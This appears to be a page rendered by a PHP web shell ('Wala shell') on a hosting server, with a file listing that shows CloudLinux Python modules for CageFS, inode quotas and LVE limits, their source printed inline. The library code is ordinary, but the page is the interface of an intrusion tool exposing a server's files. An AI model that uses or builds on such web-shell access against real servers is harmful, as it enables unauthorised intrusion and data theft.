Wala shell

Advanced PHP File Manager

Server IP: 127.0.0.1 | PHP Version: 8.3.30 | Domains Hosted: 54

Name	Size	Last Modified	Actions
📁 ..	-	2026-03-27 02:38
📄 __init__.py # -- coding: utf-8 -- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from .lvectl_lib import LveCtl, LvectlException from .cagefs_lib import CageFs, CageFsException __all__ = [ "LveCtl", "LvectlException", "CageFs", "CageFsException" ]	390 B	2026-02-17 10:40
📁 __pycache__	-	2026-03-27 02:38
📄 cagefs_lib.py # -- coding: utf-8 -- # lvectl.py - module for interfacing with cagefsctl utility for get/set CageFs user's status # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # import logging import os.path from cllimits.lib import exec_utility from clcommon.clexception import FormattedException from clcommon.utils import run_command, ExternalProgramFailed class CageFsException(FormattedException): pass class CageFs: _UTILITY_PATH = '/usr/sbin/cagefsctl' def __init__(self, logger=None): # List of enabled users in Cagefs self._cagefs_enabled_users = None self._is_cagefs_error = False self._logger = logger or self._create_dummy_logger() @staticmethod def _create_dummy_logger(): logger = logging.getLogger(__name__) # in order to write messages only to this logger, not global logger.propagate = False logger.addHandler(logging.NullHandler()) return logger def is_cagefs_present(self): """ Get CageFS presence flag :return: True/False - Cagefs present/absent """ return os.path.isfile(self._UTILITY_PATH) # WARNING: result is cached, TODO: rework caching def get_user_status(self, username): """ Get User status in CageFs :param username: User name :return: True/False - user enabled/disabled in CageFs """ # Load Cagefs data if need self._load_info() return username in self._cagefs_enabled_users def set_user_status(self, username, status, ignore_cache=False): """ Set user status in CageFs :param str username: User name :param bool status: new user status - True/False --> enable/disable :param bool ignore_cache: ignore data caching :return: None """ # Load Cagefs data if need if not ignore_cache: self._load_info() if status and self.get_user_status(username): # Enable user: user already in cagefs - do nothing return if not status and not self.get_user_status(username): # Disable user: user already not in cagefs - do nothing return if status: cagefsctl_arg = "--enable" else: cagefsctl_arg = "--disable" self._get_cagefsctl_out([cagefsctl_arg, username]) def _load_info(self): """ Loads users info from Cagefs :return: None """ # Exit if CageFS data already loaded if self._cagefs_enabled_users is not None: return # Exit if CageFS not present or Cagefs error if not self.is_cagefs_present() or self._is_cagefs_error: raise CageFsException({'message': "%(util)s is disabled", 'context': {'util': 'CageFS'}}) self._cagefs_enabled_users = [] s_cagefs_out = self._get_cagefsctl_out(['--list-enabled']) # Parse result s_enabled_users_parts = s_cagefs_out.split('\n') for line in s_enabled_users_parts: if "enabled user" in line: continue self._cagefs_enabled_users.append(line.strip()) def initialize_cagefs(self): """ Just initialize cagefs """ out = self._get_cagefsctl_out(['--init']) return out def set_enabled_mode(self): # We use run_command because it uses close_fds=True during subprocess opening # in case of --enable-all there are problems with lock on cl6 # so we use close_fds=True to close file descriptor and makes locking works properly try: cmd = ['cagefsctl', '--enable-all'] out = run_command(cmd) return out except ExternalProgramFailed as err: raise CageFsException(str(err)) from err def get_user_mode(self): out = self._get_cagefsctl_out(['--display-user-mode']) # Mode: Disable All mode = out.split(':')[1].strip() return mode def toggle_user_mode(self): self._get_cagefsctl_out(['--toggle-mode']) def enable_cagefs(self): # We use run_command because it uses close_fds=True during subprocess opening # in case of --enable-cagefs there are problems with lock on cl6 # so we use close_fds=True to close file descriptor and makes locking works properly try: cmd = ['cagefsctl', '--enable-cagefs'] self._logger.info('Running "%s"', ' '.join(cmd)) out = run_command(cmd) return out except ExternalProgramFailed as err: self._logger.info('cagefsctl exited with error "%s"', str(err)) raise CageFsException(str(err)) from err def _get_cagefsctl_out(self, cmd): self._logger.info('Running "cagefsctl %s"', ' '.join(cmd)) if not self.is_cagefs_present(): raise CageFsException({'message': "%(util)s is not installed", 'context': {'util': 'CageFS'}}) ret_code, s_stdout, s_stderr = exec_utility(self._UTILITY_PATH, cmd, stderr=True) s_cagefs_out = s_stdout or s_stderr if ret_code != 0 or 'Error:' in s_cagefs_out: self._logger.info('Cagefs exited with exit code "%s" and output "%s"', (ret_code, s_cagefs_out)) self._is_cagefs_error = True raise CageFsException(s_cagefs_out) return s_cagefs_out def rebuild_alt_php_ini(self): out = self._get_cagefsctl_out(['--rebuild-alt-php-ini']) return out	5.63 KB	2026-02-17 10:40
📁 cl_utils	-	2026-03-27 02:38
📄 clquota_lib.py # -- coding: utf-8 -- # clquota.py - module for interfacing with cl-quota utility for get/set user's quotas # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import json from typing import Dict, Optional, Tuple from clcommon.clexception import FormattedException from clcommon.utils import ExternalProgramFailed, run_command from cllimits.lib import exec_utility from cllimits.lib.utils import is_quota_active, is_quota_supported class ClQuotaException(FormattedException): pass class UnexpectedClQuotaError(ClQuotaException): """ Raised when we get output from cl-quota that cannot be parsed properly. """ def __init__(self, raw_response=None): broken_exc_message = {'message': "Unexpected response got from %(util)s. " "Raw response from cl-quota: '%(raw_response)s'." "Please, contact CloudLinux support for help in resolving this issue.", 'context': {'util': 'Quota', 'raw_response': raw_response}} super().__init__(broken_exc_message) class QuotaDisabledException(ClQuotaException): """ Raised when quotas are disabled in system globally. """ def __init__(self): disabled_exc_message = {'message': "%(util)s is disabled", 'context': {'util': 'Quota'}} super().__init__(disabled_exc_message) class ClQuotaLib: _CL_QUOTA_PATH = '/usr/bin/cl-quota' _REPQUOTA_PATH = '/usr/sbin/repquota' def __init__(self): # inodes limits data # uid --> (soft_limit, hard_limit) self._inode_user_limits: Optional[Dict[str, Tuple[str, str]]] = None self._inode_package_dict: Optional[Dict[str, Tuple[str, str]]] = None # Check if quota is supported self._is_clquota_present = None # Check if quota is activated self._is_clquota_activated = None def is_clquota_present(self): """ Get quota presence flag :return: True/False - quotas present/not present """ if self._is_clquota_present is None: self._is_clquota_present = is_quota_supported(self._CL_QUOTA_PATH, self._REPQUOTA_PATH) return self._is_clquota_present def is_clquota_activated(self): """ Get quota activated flag :return: True/False - quotas activeted/not activeted """ if self._is_clquota_activated is None: self._is_clquota_activated = is_quota_active(self._CL_QUOTA_PATH, self._REPQUOTA_PATH) return self._is_clquota_activated def get_inodes_limits_by_uid(self, user_id): """ Retrive inodes limits by uid :param user_id: Supplied uid :return: cortege (soft_limit, hard_limit). (None, None) if governor not present or error """ # Load inodes data if need self._load_users_info() uid = str(user_id) if uid in self._inode_user_limits: return self._inode_user_limits[uid] return self._inode_user_limits['0'] def set_user_inodes_limits(self, uid, limits, force=False): """ Set inodes limits for user uid :param: int uid: user id :param: list limits: new inodes limits :param: bool force: save limits if even they are equal to defaults :return: None """ self._load_users_info() if not isinstance(uid, int) or uid < 0: exc_message = {'message': "User id '%(uid)s' isn't a positive integer", 'context': {'uid': uid}} raise ClQuotaException(exc_message) if limits == "unlimited": limits = ["unlimited"] * 2 elif limits == "default": limits = ["default"] * 2 else: if type(limits) in [tuple, list]: pass elif len(limits.split(',')) == 2: limits = limits.split(',') else: exc_message = {'message': "Limits %(limits)s aren't acceptable.", 'context': {'limits': limits}} raise ClQuotaException(exc_message) for limit in limits: try: if limit != "default": limit = int(limit) if limit < 0: raise ValueError() except ValueError as e: exc_message = {'message': "Limit value '%(limit)s' isn't a positive integer or string %(default)s", 'context': {'limit': limit, 'default': 'default'}} raise ClQuotaException(exc_message) from e cmd = [self._CL_QUOTA_PATH, f'--user-id={uid}', f'--soft-limit={limits[0]}', f'--hard-limit={limits[1]}'] if force: cmd.append("--force") try: run_command(cmd) except ExternalProgramFailed as e: raise ClQuotaException(str(e)) from e def set_user_inodes_limits_unlimited(self, uid): """ Set unlimited inodes limits for user uid :param: int uid: user id :return: None """ self.set_user_inodes_limits(uid, "unlimited") def reset_user_inodes_limits(self, uid): """ Set default inodes limits for user uid :param: int uid: user id :return: None """ self.set_user_inodes_limits(uid, "default") def _load_users_info(self): """ Loads users info from cl-quota :return: None """ # Exit if cl-quota data already loaded if self._inode_user_limits is not None: return # Exit if cl-quota not present or cl-quota error if not self.is_clquota_present() or not self.is_clquota_activated(): raise QuotaDisabledException() try: data = self._get_quotas(['--json']) except ClQuotaException: self._inode_user_limits = None raise self._inode_user_limits = {} for uid, limits in data.items(): self._inode_user_limits[uid] = (int(limits[1][1]), int(limits[2][1])) if '0' not in self._inode_user_limits: self._inode_user_limits = None exc_message = {'message': "There is no %(what)s found in %(where)s", 'context': {'what': 'default settings', 'where': f'{self._CL_QUOTA_PATH} output'}} raise ClQuotaException(exc_message) def _get_quotas(self, command): # Get all cl-quota limits and parse them to self._inodes_limits _, s_quota_limits = exec_utility(self._CL_QUOTA_PATH, command) try: data = json.loads(s_quota_limits) except (TypeError, ValueError) as e: raise UnexpectedClQuotaError(raw_response=s_quota_limits) from e if not data: raise UnexpectedClQuotaError() if data['result'] != 'success': raise ClQuotaException({ 'message': data['result'], 'context': data.get('context', {}), 'details': data.get('details') }) return data['items'] def reset_inodes_limits(self): """ Reset inodes limits for all users to package limits :return: """ if not self.is_clquota_present() or not self.is_clquota_activated(): return exec_utility(self._CL_QUOTA_PATH, ['--sync']) def _load_packages_info(self): """ Loads packages info from cl-quota :return: None """ # Exit if cl-quota data already loaded if self._inode_package_dict is not None: return # Exit if cl-quota not present or cl-quota error if not self.is_clquota_present() or not self.is_clquota_activated(): raise QuotaDisabledException() try: packages = self._get_quotas(['--json', '--all-package-limits']) except ClQuotaException: self._inode_package_dict = None raise self._inode_package_dict = {} for package, limits in packages.items(): soft_limit = limits[1][1] if soft_limit == '-': soft_limit = 0 else: soft_limit = int(soft_limit) hard_limit = limits[2][1] if hard_limit == '-': hard_limit = 0 else: hard_limit = int(hard_limit) self._inode_package_dict[package] = {'soft': soft_limit, 'hard': hard_limit} def get_reseller_package_limits(self, package_name_arg): """ Get inodes limits for supplied reseller and package :param package_name_arg: Package name. Only if reseller name is provided. If None - all packages :return: Packages limits dictionary: {package_name: { "soft": 100000, "hard": 200000 } } If package with supplied name not found, dictionary will be empty """ self._load_packages_info() if not package_name_arg: # if package name not provided - return all packages return self._inode_package_dict # Package name provided if package_name_arg in self._inode_package_dict: return {package_name_arg: self._inode_package_dict[package_name_arg]} return {} def __set_error(self, param, package_name, err): return {'message': "%(what)s set error for package=%(package)s%(error)s", 'context': {'what': param, 'package': package_name, 'error': f" [{err}]" if err else ""}} def set_reseller_package_limits(self, package_name, limits_to_set): """ Set inodes limits for package Called from cloudlinux-packages set :param package_name: Package name :param limits_to_set: Limits to set: soft_limit,hard_limit :return: None """ disabled_exc_message = {'message': "%(util)s is disabled", 'context': {'util': 'Quota'}} # Exit if cl-quota not present or cl-quota error if not self.is_clquota_present() or not self.is_clquota_activated(): raise ClQuotaException(disabled_exc_message) limits = limits_to_set.split(',') if len(limits) != 2: # Argument error raise ClQuotaException({'message': "%(util)s argument error", 'context': {'util': 'cl-quota'}}) # set quotas limits cl_quota_cmd = [f'--package={package_name}', f'--soft-limit={limits[0]}', f'--hard-limit={limits[1]}'] ret_code, stdout = exec_utility(self._CL_QUOTA_PATH, cl_quota_cmd) if ret_code != 0 or stdout: # Set limits error raise ClQuotaException(self.__set_error('Inodes limits', package_name, stdout)) def set_package_limits_independently(self, package_name, limits): """ Set inodes limits for package Called from cl-syncpkgs :param package_name: Package name :param limits: Limits to set: {"inodes_soft":1000, "inodes_hard":2000} :return: None """ disabled_exc_message = {'message': "Quota is disabled"} # Exit if cl-quota not present or cl-quota error if not self.is_clquota_present() or not self.is_clquota_activated(): raise ClQuotaException(disabled_exc_message) if len(limits) == 0: raise ClQuotaException({'message': "Unspecified limits for cl-quota"}) if not set(limits) <= {'inodes_soft', 'inodes_hard'}: bad_limits = set(limits) - {'inodes_soft', 'inodes_hard'} raise ClQuotaException({'message': "Incorrect limits for cl-quota: %(bad_limits)s", 'context': {'bad_limits': ', '.join(bad_limits)}}) cl_quota_cmd = [f'--package={package_name}'] if 'inodes_soft' in limits: cl_quota_cmd.append(f"--soft-limit={limits['inodes_soft']}") if 'inodes_hard' in limits: cl_quota_cmd.append(f"--hard-limit={limits['inodes_hard']}") ret_code, stdout = exec_utility(self._CL_QUOTA_PATH, cl_quota_cmd) if ret_code != 0 or stdout: raise ClQuotaException(self.__set_error('Inodes limits', package_name, stdout))	12.32 KB	2026-02-17 10:40
📄 domain_lib.py # -- coding: utf-8 -- # domainlib.py - library for miscelaneous domain operations # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from clcommon import cpapi from clcommon.clexception import FormattedException from clcommon.cpapi import NotSupported class DomainException(FormattedException): pass class Domain: def __init__(self): self._userdomain_cache = None # type: dict[str, str] def get_user_domain(self, username): """ Retrive main domain for supplied user :param username: User name :return: Domain name or N/A """ if self._userdomain_cache is None: try: self._userdomain_cache = dict(cpapi.cpinfo(keyls=('cplogin', 'dns'))) except NotSupported: self._userdomain_cache = {} return self._userdomain_cache.get(username, 'N/A') def get_user_name_by_domain(self, domain_name): """ Retrive username by domain :param domain_name: Domain name :return: Username """ try: username = cpapi.domain_owner(domain_name) if username: return username except (IOError, cpapi.cpapiexceptions.NotSupported) as e: raise DomainException(str(e)) from e raise DomainException({'message': "There is no domain '%(domain)s'", 'context': {'domain': domain_name}})	1.54 KB	2026-02-17 10:40
📁 lib	-	2026-03-27 02:38
📄 lvectl_lib.py # -- coding: utf-8 -- # lvectl.py - module for interfacing with lvectl utility for get/set LVE limits # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import copy import json import lvectllib from clcommon import cpapi from clcommon.clexception import FormattedException from cllimits.lib import exec_utility from cllimits.lib.utils import (_convert_memory_value_to_adaptive_format, check_pmem_lower_bound_from_string) class LvectlException(FormattedException): pass class LveCtl: """ Library for work with LVE limits """ MEGAHERZ = 1000000 GIGAHERZ = 1000000000 lve_version = None _UTILITY_PATH = "/usr/sbin/lvectl" _packages_limits = None # Panel packages limits _package_data = None # Panel LVE limits _resellers_data = None # Panel LVP limits def __init__(self): """ Object constructor. Get LVE version """ _, s_lve_version = exec_utility(self._UTILITY_PATH, ["lve-version"]) self.lve_version = int(s_lve_version) self._package_data = None # type: dict self._resellers_data = None # type: dict @staticmethod def get_panel_users_uid_list(): """ Get panel users uid list :return: List of uids """ user_packages = cpapi.list_users() uid_list = list(user_packages.keys()) uid_list.append(0) return uid_list def get_limits_by_user_id(self, user_id, human_readable_numbers=False): """ Reads limits by user id :param user_id: user/lve id :param human_readable_numbers: if True PMEM and VMEM limits in KBytes, MBytes or GBytes False - in bytes :return: dictionary """ # Load LVE limits data if need self._load_info(human_readable_numbers, userid=user_id) if user_id in self._package_data: user_limits = copy.deepcopy(self._package_data[user_id]) del user_limits["PACKAGE"] return user_limits # No limits, use default # user_limits = self._package_data[0] user_limits = copy.deepcopy(self._package_data[0]) del user_limits["PACKAGE"] return user_limits def get_limits_by_reseller_name(self, reseller_name, human_readable_numbers=False): """ Reads limits by reseller name :param reseller_name: :param: id - user/lve id :param human_readable_numbers: if True PMEM and VMEM limits in KBytes, MBytes or GBytes False - in bytes :rtype: dict """ # lvectl list-reseller <reseller_name> --json --with-name self._load_resellers_info(human_readable_numbers, reseller_name) reseller_limits = copy.deepcopy(self._resellers_data.get(reseller_name)) return reseller_limits def get_default_limits_by_reseller_name(self, reseller_name, human_readable_numbers=False): """ Reads limits by reseller name :param reseller_name: reseller's name :param human_readable_numbers: if True PMEM and VMEM limits in KBytes, MBytes or GBytes False - in bytes :rtype: dict[str, str \| dict] """ if not lvectllib.lve.reseller_limit_supported(): return lvectl_args = ['list-reseller', reseller_name, '--json', '--with-name'] if not human_readable_numbers: lvectl_args.append('--bytes') ret_code, std_out = exec_utility(self._UTILITY_PATH, lvectl_args) loaded_json = json.loads(std_out) if ret_code != 0: raise LvectlException(loaded_json['msg']) default_info = loaded_json.get('data', []) if default_info: default_limits = { 'PACKAGE': 'DEFAULT', 'cpu': {'all': default_info[0]['SPEED']}, 'ep': default_info[0]['EP'], 'io': {'all': default_info[0]['IO']}, 'iops': default_info[0]['IOPS'], 'nproc': default_info[0]['NPROC'], 'pmem': _convert_memory_value_to_adaptive_format(default_info[0]['PMEM'], human_readable_numbers), 'vmem': _convert_memory_value_to_adaptive_format(default_info[0]['VMEM'], human_readable_numbers) } return default_limits def get_package_name_by_user_id(self, user_id): """ Get package name by user id. None package returns as str(None) for user checker compatibility: 'not str(None)' is True :param: id - user/lve id :return: Package name """ if self._package_data is None: from clcommon.cpapi import reseller_package_by_uid # pylint: disable=import-outside-toplevel try: package_name = str(reseller_package_by_uid(user_id)[1]) except IndexError: # No user with such uid, use empty package name package_name = '' else: if user_id in self._package_data: package_name = str(self._package_data[user_id]["PACKAGE"]) else: # default package_name = str(self._package_data[0]["PACKAGE"]) return package_name def __set_error(self, param, lve_id, err): return {'message': "%(what)s set error for uid=%(uid)s%(error)s", 'context': {'what': param, 'uid': lve_id, 'error': f" [{err}]" if err else ""}} def _check_pmem_lower_bound(self, pmem_value): """ Check if PMEM value is below configured lower bound and raise exception if needed :param pmem_value: PMEM value as string (e.g., "5m", "512M", etc.) :raises LvectlException: If pmem is below configured lower bound or config is corrupted """ error = check_pmem_lower_bound_from_string(pmem_value) if error: raise LvectlException(error) def _set_container_limits_by_id(self, command, container_id, limits, reseller_name=None): """ Set limits for given container id :param: str command: 'set' \| 'set-reseller', based on container type :param: int \| str container_id: LVE \| LVP id for set limits :param: dict limits: new LVE limits. Available keys: speed, vmem, pmem, mep, io, nproc, iops and 'save-all-parameters'. All other keys are ignoring. If some parameter absent on current LVE version (for example pmem on LVE4), it will be ignored too. :param reseller_name: Reseller name """ lvectl_args = [command, str(container_id)] # 1. Check arguments and form lvectl call arguments if "mep" in limits or "ep" in limits: limits["maxEntryProcs"] = limits.get("mep", limits.get("ep")) for k in ("speed", "vmem", "pmem", "maxEntryProcs", "io", "nproc", "iops"): v = limits.get(k) if v is None: continue v = str(v).strip() if k in ["pmem", "nproc", "iops"] and self.lve_version == 4: continue if k in ["iops"] and self.lve_version == 6: continue if k == "speed" and v.isdigit(): v = f"{v}%" if k == "pmem": self._check_pmem_lower_bound(v) lvectl_args.append(f"--{k}={v}") if len(lvectl_args) <= 2: return 0 if limits.get("save-all-parameters"): lvectl_args.append("--save-all-parameters") # Add reseller name if need if reseller_name: lvectl_args.append(f"--reseller={reseller_name}") # 2. call utility to set limits ret_code, out, err = exec_utility(self._UTILITY_PATH, lvectl_args, stderr=True) if ret_code != 0: # Set limits error raise LvectlException(self.__set_error('Limits', container_id, err)) def _set_container_limits_by_id_or_name(self, reseller_id): """ Set limits for given container id :param reseller_id: LVP id or reseller's name or '--all' :type reseller_id: int \| str """ lvectl_args = ['set-reseller', reseller_id] ret_code, out, err = exec_utility(self._UTILITY_PATH, lvectl_args, stderr=True) if ret_code != 0: # Set limits error raise LvectlException(self.__set_error('Limits', reseller_id, err)) def set_lve_limits_by_user_id(self, lve_id, limits, reseller_name=None): """ Wrapper for _set_container_limits_by_id, set limits for lve_id; :param int lve_id: user's container id :param limits: dict with limits to set :param reseller_name: Reseller name :return: int """ if bool(lve_id) and not self.get_package_name_by_user_id(lve_id): return 1 self._set_container_limits_by_id('set', lve_id, limits, reseller_name=reseller_name) return 0 def set_lvp_limits_by_reseller_id(self, lvp_id, limits): """ Wrapper for _set_container_limits_by_id, set limits for lvp_id; :type lvp_id: int :type limits: dict :return: int """ self._set_container_limits_by_id('set-reseller', lvp_id, limits) return 0 def set_lvp_defaults_by_reseller_id(self, lvp_id, limits): """ Wrapper for _set_container_limits_by_id, set limits for lvp_id; :type lvp_id: int :type limits: dict :return: int """ self._set_container_limits_by_id('set-reseller-default', lvp_id, limits) return 0 def set_lve_unlimited(self, lve_id, reseller_name=None): """ Set unlimited LVE for lve_id :param: lve_id `int`: LVE id :param reseller_name: Reseller name :return: 0 """ args = ["set", str(lve_id), "--unlimited"] if reseller_name is not None: args.extend(['--reseller', reseller_name]) ret_code, err = exec_utility(self._UTILITY_PATH, args) if ret_code != 0: raise LvectlException(self.__set_error('Unlimited', lve_id, err)) return 0 def set_lvp_unlimited(self, lvp_id): """ Set unlimited LVP for reseller; Accepts name or id; :type lvp_id: str \| int :return: 0 """ args = ["set-reseller", str(lvp_id), "--unlimited"] ret_code, err = exec_utility(self._UTILITY_PATH, args) if ret_code != 0: raise LvectlException(self.__set_error('Unlimited', lvp_id, err)) return 0 def reset_lve_limits(self, lve_id, limits): """ Reset LVE limits for lve_id. Set default limits for LVE package or system default LVE :param: lve_id `int: LVE id :return: 0 """ args = ["set", str(lve_id), f"--default={','.join(limits)}"] ret_code, err = exec_utility(self._UTILITY_PATH, args) if ret_code != 0: raise LvectlException(self.__set_error('Default', lve_id, err)) return 0 def reset_reseller_limits(self, reseller_name, limits): """ Reset LVP limits for reseller_name. :param: reseller_name str: :return: 0 """ args = ["set-reseller", str(reseller_name), f"--default={','.join(limits)}"] ret_code, err = exec_utility(self._UTILITY_PATH, args) if ret_code != 0: raise LvectlException(self.__set_error('Default', reseller_name, err)) return 0 def apply_all_limits(self): """ Apply all already configured limits :return: ret code """ ret_code, err = exec_utility(self._UTILITY_PATH, ["apply", "all"]) return ret_code def disable_reseller_limits(self, reseller_name): """ Disable reseller limits for given name; Equivalent to lvectl remove-reseller <str> :type reseller_name: str :return: 0 """ args = ["remove-reseller", str(reseller_name), '--json'] ret_code, err = exec_utility(self._UTILITY_PATH, args) if ret_code != 0: raise LvectlException(self.__set_error('Disable reseller limits', reseller_name, err)) return 0 def _load_resellers_info(self, human_readable_numbers, reseller_name): """ Load information about resellers; :type human_readable_numbers: bool :type reseller_name: str \| None :return: """ self._resellers_data = {} if not lvectllib.lve.reseller_limit_supported(): return lvectl_args = ['list-reseller', '--json', '--with-name'] if not human_readable_numbers: lvectl_args.append('--bytes') ret_code, std_out = exec_utility(self._UTILITY_PATH, lvectl_args) loaded_json = json.loads(std_out) if ret_code != 0: raise LvectlException(loaded_json['msg']) # To edit reseller limits in UI, admin should have ability to see # all resellers, even those for which limits have not yet been enabled. # So we just init dict with all resellers and frontend will rely # on empty "limits" key to determine whether reseller limits has been # already set for particular reseller or not. for reseller in cpapi.resellers(): if reseller_name and reseller_name != reseller: continue self._resellers_data[reseller] = {'name': reseller, 'limits': {}} # Refresh settings with utility's data for reseller in loaded_json.get('data', []): id_, name = reseller['ID'].split(':') if reseller_name and reseller_name != name: continue reseller_info = { 'id': id_, 'name': name, 'limits': { 'cpu': {'all': reseller['SPEED']}, 'ep': reseller['EP'], 'io': {'all': reseller['IO']}, 'iops': reseller['IOPS'], 'nproc': reseller['NPROC'], 'pmem': _convert_memory_value_to_adaptive_format(reseller['PMEM'], human_readable_numbers), } } self._resellers_data[reseller_info['name']] = reseller_info def _load_info(self, human_readable_numbers, userid=None, reseller=None): """ Loads all package info from lvectl :param human_readable_numbers: if True PMEM and VMEM limits in KBytes, MBytes or GBytes False - in bytes :return: None """ if self._resellers_data is None: self._load_resellers_info(human_readable_numbers, reseller) if self._package_data is not None: return # Get panel packages data from lvectl utility # Create Panel packages data self._package_data = {} if userid is not None: lvectl_args = ['paneluserlimits', str(userid)] elif reseller is not None: lvectl_args = ['paneluserslimits', str(reseller)] else: lvectl_args = ['paneluserslimits'] lvectl_args.append('--json') if not human_readable_numbers: lvectl_args.append('--bytes') ret_code, std_out = exec_utility(self._UTILITY_PATH, lvectl_args) loaded_json = json.loads(std_out) if ret_code != 0: raise LvectlException(loaded_json['msg']) json_data = loaded_json['data'] for pkg_data in json_data: pkg_limits = {} pkg_name = pkg_data['PACKAGE'] if pkg_name == 'VE_DEFAULT': pkg_name = 'DEFAULT' # self._package_data[pkg_data['ID']] = pkg_name pkg_limits['PACKAGE'] = pkg_name # All LVE pkg_limits['cpu'] = {'all': pkg_data['SPEED']} pkg_limits['io'] = {'all': pkg_data['IO']} pkg_limits['vmem'] = _convert_memory_value_to_adaptive_format(pkg_data['VMEM'], human_readable_numbers) pkg_limits['ep'] = pkg_data['EP'] if self.lve_version >= 6: # LVE 6, 8 pkg_limits['pmem'] = _convert_memory_value_to_adaptive_format(pkg_data['PMEM'], human_readable_numbers) pkg_limits['nproc'] = pkg_data['NPROC'] if self.lve_version >= 8: # LVE 8 pkg_limits['iops'] = pkg_data['IOPS'] self._package_data[int(pkg_data['ID'])] = pkg_limits if reseller is not None: reseller_defaults = self.get_default_limits_by_reseller_name(reseller, human_readable_numbers) if reseller_defaults: self._package_data[0] = reseller_defaults return if 0 not in self._package_data: # Defaults limits not found, set them manually pkg_limits = {} pkg_limits['PACKAGE'] = 'DEFAULT' # All LVE pkg_limits['cpu'] = {'all': '0'} pkg_limits['io'] = {'all': '0'} pkg_limits['vmem'] = '0K' pkg_limits['ep'] = '0' if self.lve_version >= 6: # LVE 6, 8 pkg_limits['pmem'] = '0K' pkg_limits['nproc'] = '0' if self.lve_version >= 8: # LVE 8 pkg_limits['iops'] = '0' self._package_data[0] = pkg_limits	17.57 KB	2026-02-17 10:40

Terminal